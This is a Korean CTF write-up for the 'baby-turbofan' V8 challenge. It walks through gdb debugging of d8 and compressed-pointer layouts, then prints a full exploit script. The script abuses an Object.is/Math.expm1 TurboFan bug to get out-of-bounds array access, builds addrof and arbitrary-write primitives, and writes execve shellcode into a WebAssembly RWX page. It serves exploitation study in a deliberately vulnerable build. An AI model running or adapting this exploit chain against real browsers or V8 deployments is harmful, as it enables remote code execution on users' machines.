K
baby-turbofan
2dedce
조회수 229
풀이자수

A v8 exploitation challenge based on an old bug.
DISCLAIMER: This challenge is intended as a pedagogical introduction for people who have no experience in browser exploitation. Therefore, it should be REALLY easy for people who have even the slightest knowledge about v8 exploitation.

Hints for Newbies

This challenge reverts two commits to v8.
first commit
second commit
The first one removes a security hardening, and the second one introduces the bug.

This challenge has the same bug with a challenge called Krautflare from 35C3 CTF (2019). However, re-using the payload will not be possible, because source code changes in v8 during the last 3 years have made the exploit infeasible. One of the major changes is pointer compression, which is a mechanism to represent v8 heap objects in 4 bytes. A good reference discussing pointer compression is here.

baby-turbofan (pwanable)

문제에서 취약점을 알려주고 뚫으라고 한다. Krautflare from 35C3 CTF를 검색 하여
https://www.jaybosamiya.com/blog/2019/01/02/krautflare/
https://github.com/fengjixuchui/browser-pwn-2
https://katolik-xixon.tistory.com/276
https://sunrinjuntae.tistory.com/171
관련 글을 읽어본다. 하지만 이걸로는 부족하다. 왜냐하면 pointer compress가 되었기 때문이다. 그것은 https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#heading=h.xzptrog8pyxf 에서 설명되지만 size에 대한 부분이 좀 틀렸다. 읽지 말자. 결국 직접 gdb로 디버깅하며 아는 것이 훨씬 컸다. 그럼 v8 디버깅은 어떻게 할까? https://youtu.be/HimbmR7e4dk 에서 고마운 외국인덕분에 d8을 gdb로 디버깅 하는 법을 배웠다.

gdb --args ./d8
starti
b v8::base::ieee754::cosh
r --allow_natives_syntax ./ex.js > ./out.txt
# 이후부터는 또 실행시키고 싶을때 키보드 위쪽 방향키를 눌러서
gdb-peda$ r --allow_natives_syntax ./ex.js > ./out.txt # 이걸 또 입력한다.

로 gdb를 실행시키고, 자바스크립트에는

%DebugPrint(obj); // 객체 디버그정보를 out.txt에서 볼 수 있음. vscode에서는 파일 수정시 실시간으로 업뎃됨.
Math.cosh(); // 여기가 브레이크 포인트가 됨!

실제 코드를 짜는데는 pointer compress된 상태에서 RCE를 수행하는 https://candymate.tistory.com/2https://mineta.tistory.com/154 가 큰 도움이 되었다. 풀면서 코드가 동일하면 오프셋은 동일한데, 어떤 코드를 추가하거나 뭘 하면 오프셋이 변해서 고생했다. 다행히도 좀 아래쪽에서 뭔가 했다고 위쪽 코드의 오프셋이 변하진 않았다.

오프셋을 찾을 때는 친절한 외국인이 알려준대로 순간순간 디버그 정보출력과 브레이크 포인트를 잡아서 메모리 상태를 파악한다. gdb로 offset을 찾는 방법을 설명하겠다.

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u64 = new Uint32Array(buf);
function ftoi(val) {
    f64[0] = val;
    return BigInt(u64[0]) + (BigInt(u64[1]) << 32n);
}
function itof(val) {
    val = BigInt(val)
    u64[0] = Number(val & 0xffffffffn);
    u64[1] = Number(val >> 32n);
    return f64[0];
}
function foo(x) {
    let o = {mz : -0};
    let bug = Object.is(Math.expm1(x),o.mz);
    // 위에서 v8이 bug가 어찌어찌 되면 bug라는 값이 1임에도 0이라고 
    // 생각하고 turbofan이라는 최적화를 수행함
    // 그래서 bug라는 값이 실제로 1일 때 OOB(out of bound)를 일으킨다.
    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];
    // 위 코드는 bug가 1이라면 OOB가 발생
    %DebugPrint(a);
    %DebugPrint(b);
    Math.cosh();
    return b;
}
foo(0); // 이때는 bug=0
for(let i = 0; i < 2000; i++) {
    foo("0"); // bug=0
    // 함수 실행을 turbofan 최적화되도록 반복호출 시킨다.
    // 이렇게 되면 foo는 OOB확인 안 하는 기계어로 전환된다.
}
foo(-0); // 이때 버그발생! bug=true=1이어서 OOB!

out.txt를 보면(vscode의 스플릿 뷰를 적극사용. 왼쪽엔 코드, 오른쪽엔 out.txt)

DebugPrint: 0x35830004680d: [JSArray] // %DebugPrint(a);
 - map: 0x358300203b11 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3583001cade1 <JSArray[0]>
 - elements: 0x3583000467dd <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
 - length: 5
 - properties: 0x358300002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x358300004d7d: [String] in ReadOnlySpace: #length: 0x358300144271 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3583000467dd <FixedDoubleArray[5]> {
           0: 0.1
           1: 0.2
           2: 0.3
           3: 0.4
           4: 0.5
 }
// Map 생략
DebugPrint: 0x358300046845: [JSArray] // %DebugPrint(b);
 - map: 0x358300203b11 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3583001cade1 <JSArray[0]>
 - elements: 0x35830004681d <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x358300002261 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x358300004d7d: [String] in ReadOnlySpace: #length: 0x358300144271 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x35830004681d <FixedDoubleArray[4]> {
           0: 1.1
           1: 1.2
           2: 1.3
           3: 1.4
 }
// Map 생략

첫번째 출력물은 a의 디버그 정보다. 주소가 0x1c40000a2d95라고 써있는데 여기서 1을 빼야한다. V8 세계에서는 모든 주소는 +1되어있어서 그렇다. 그러므로 한번 브포가 잡힌 gdb에서 0x1c40000a2d95의 주소를 확인하기 위해 다음을 입력하자.

gdb-peda$ x/24wx 0x1c40000a2d95-1
0x1c40000a2d94: 0x00203b11      0x00002261     *0x000a2d65     *0x0000000a
0x1c40000a2da4: 0x00006015      0x001d1cad      0x00002ac9      0x00000008
0x1c40000a2db4: 0x9999999a      0x3ff19999      0x33333333      0x3ff33333
0x1c40000a2dc4: 0xcccccccd      0x3ff4cccc      0x66666666      0x3ff66666
0x1c40000a2dd4: 0x00203b11      0x00002261      0x000a2dad      0x00000008
0x1c40000a2de4: 0x00006015      0x001d1cd9      0x00000000      0x00000000

중요한건 *표시를 한 3번째랑 4번째다. 3번째는 elements라고 불리며 0x000a2d65는 실제 값들이 있는 배열의 시작 주소이다. 이 4바이트 주소가 compressed pointer이고 실제 주소는 디버그 정보에 있듯이 0x1c40000a2d65이다. 압축주소는 실제 주소의 하위 4바이트만 적혀있는 것이다. 그다음 4번째 값은 length이며 2배 곱해져 있다. 이것을 수정하면 oob를 일으키는 배열을 만들 수 있다. 이제 a의 실제 원소배열의 시작 주소 0x1c40000a2d65를 가보자.

gdb-peda$ x/48wx 0x1c40000a2d65-1
0x1c40000a2d64: 0x00002ac9      0x0000000a      0x9999999a      0x3fb99999
0x1c40000a2d74: 0x9999999a      0x3fc99999      0x33333333      0x3fd33333
0x1c40000a2d84: 0x9999999a      0x3fd99999      0x00000000      0x3fe00000
0x1c40000a2d94: 0x00203b11      0x00002261      0x000a2d65      0x0000000a
0x1c40000a2da4: 0x00006015      0x001d1cad      0x00002ac9      0x00000008
0x1c40000a2db4: 0x9999999a      0x3ff19999      0x33333333      0x3ff33333
0x1c40000a2dc4: 0xcccccccd      0x3ff4cccc      0x66666666      0x3ff66666
0x1c40000a2dd4:*0x00203b11      0x00002261     (0x000a2dad)    (0x00000008)
0x1c40000a2de4: 0x00006015      0x001d1cd9      0x00000000      0x00000000
0x1c40000a2df4: 0x00000000      0x00000000      0x00000000      0x00000000
0x1c40000a2e04: 0x00000000      0x00000000      0x00000000      0x00000000
0x1c40000a2e14: 0x00000000      0x00000000      0x00000000      0x00000000

첫 8바이트는 무시하고(첫 4바이트는 모르겠고 그 다음 4바이트는 배열크기인데 oob체크에 쓰이는 값은 아니다) 그다음 부터 8바이트씩 5개의 float64(부동소수점) [0.1,0.2,0.3,0.4,0.5]이 적혀있다. 자바스크립트는 정수형와 실수형의 구별이 없이 Number이기 때문에 모두 부동소수점 형식으로 저장한다. 그다음 쭉 가다가 *표시한 0x1c40000a2dd5-1은 배열 b의 주소인데 괄호에 감싸진 두 값이 내가 수정하고 싶은 b의 시작주소와, b의 크기이다. 그러므로 a[14]로 접근하면 시작주소와 b의 크기를 바꿀 수 있다. 이를 위해 Bingint타입 정수를 Number(float64) 타입으로 바꾸어주는 itof와 반대인 ftoi함수를 사용한다.
a[14]로 접근하는 것이 맞긴한데 만약 디버깅정보를 빼기 위해 Math.cosh()를 삭제하면 힙할당에 변화가 생겨 a의 배열 시작주소와 b의 offset의 변화가 일어나는지 안통하게 된다. 즉 offset을 찾을 때는 항상 직진을 해야지 함수 안에서 %DebugPrint(a)Math.cosh()맘대로 넣고 빼고하면 함수 안 변수들의 offset이 변하게 된다. 그럼 어떡하느냐? 함수 내에서 찾아야 한다.

function foo(x) {
    let o = {mz : -0};
    let bug = Object.is(Math.expm1(x),o.mz);
    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];
    for(let i = 0; i < 400;i++) {
        let cond1 = (ftoi(a[i*bug]) & 0xffffffff00000000n) === 0x0000000800000000n;
        let cond2 = a[(i+1)*bug] === 1.1;
        let good = cond1 && !cond2;
        a[i*bug*good] = itof( ftoi(a[i*bug*good]) | 0x0f00000000000000n);
        if(good) {
            console.log("found! :", i); // 11
            break;
        }
    }
    return b;
}
foo(0);
for(let i = 0; i < 2000; i++) {
    foo("0");
}
b = foo(-0);
console.log(b.length); // 125829124, oob 배열 만듦

저기 offset은 항상 11이다. 하지만 11을 알았다고 반복문 지우고 a[bug*11]=itof(0x...)로 바꾸면 그땐 offset이 바뀌어 안된다. 물론 찍다보면 나오겠지만 저상태로 두는 것도 나쁘지 않다. 그다음부터는 엄청난 디버깅을 해서 오프셋을 찾으면 아래와 같은 코드가 나온다.

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64 = new Float64Array(buf);
var u64 = new Uint32Array(buf);

function ftoi(val) {
  f64[0] = val;
  return BigInt(u64[0]) + (BigInt(u64[1]) << 32n);
}

function itof(val) {
  val = BigInt(val)
  u64[0] = Number(val & 0xffffffffn);
  u64[1] = Number(val >> 32n);
  return f64[0];
}

function foo(x) {
    let o = {mz : -0};
    let bug = Object.is(Math.expm1(x),o.mz);
    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];
    for(let i = 0; i < 400;i++) {
        let cond1 = (ftoi(a[i*bug]) & 0xffffffff00000000n) === 0x0000000800000000n;
        let cond2 = a[(i+1)*bug] === 1.1;
        let good = cond1 && !cond2;
        a[i*bug*good] = itof( ftoi(a[i*bug*good]) | 0x0f00000000000000n);
        if(good) {
            console.log("yes! :", i);
            break;
        }
    }
    return [b, {}, new ArrayBuffer(8)];
}
foo(0);
for(let i = 0; i < 2000; i++) {
    foo("0"); // make turbo
}
let m_obj = foo(-0);
if(m_obj[0].length != 4) {
    console.log("good.. length:", m_obj[0].length);
}
function addr_sand(obj) {
    m_obj[1] = obj;
    return (ftoi(m_obj[0][360])>>32n) & 0xffffffffn;
}


var w_obj; // to read RWX page address
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);

let addr = addr_sand(wasm_instance) - 8n;
console.log('1st addr:', addr.toString(16));
///////////////////////////
function foo2(x) {
    let o = {mz : -0};
    let bug = Object.is(Math.expm1(x),o.mz);
    let a = [0.1,0.2,0.3,0.4,0.5];
    let b = [1.1,1.2,1.3,1.4];
    for(let i = 0; i < 400;i++) {
        let cond1 = (ftoi(a[i*bug]) & 0xffffffff00000000n) === 0x0000000800000000n;
        let cond2 = a[(i+1)*bug] === 1.1;
        let good = cond1 && !cond2;
        a[i*bug*good] = itof( ftoi(a[i*bug*good])&0xffffffff00000000n | 0x0f00000000000000n | addr);
        if(good) {
            console.log("yes! :", i);
            break;
        }
    }
    return b;
}
foo2(0);
for(let i = 0; i < 2000; i++) {
    foo2("0"); // make turbo
}
let bb = foo2(-0);
if(bb.length != 4) {
    console.log("good.. length:", bb.length);
}
///////////////////////
rwx = ftoi(bb[12]);
console.log("rws:", rwx.toString(16));
const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
/////////////////////
foo(0);
for(let i = 0; i < 2000; i++) {
    foo("0"); // make turbo
}
m_obj = foo(-0);
if(m_obj[0].length != 4) {
    console.log("good.. length:", m_obj[0].length);
}
let buffer = new ArrayBuffer(8);
m_obj[1] = buffer;
addr = ftoi(m_obj[0][361]) & 0xffffffffn;
console.log(addr.toString(16));


///////////////////////
function arb_write(addr, value) {
    console.log("write> addr=", addr.toString(16), "value=", value)
    let x = ftoi(m_obj[0][375]);
    m_obj[0][375] = itof( ((addr&0xffffffffn)<<32n) | (x&0xffffffffn));
    x = ftoi(m_obj[0][376]);
    m_obj[0][376] = itof ( (addr >> 32n) | ((x&0xffffffffn) << 32n));
    const dataView = new DataView(buffer);
    dataView.setFloat64(0, itof(value), true);
}
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx+8n*BigInt(i), shellcode[i]);
}
// %DebugPrint(wasm_instance)
// Math.cosh();
const f = wasm_instance.exports.main;
f();
console.log(m_obj);
console.log(bb);

// ##END_OF_FILE##

오프셋이 변하다 보니 대응하느라고 누더기같은 코드가 나왔다. 안정적으로 v8을 뚫는법을 공부해야겠다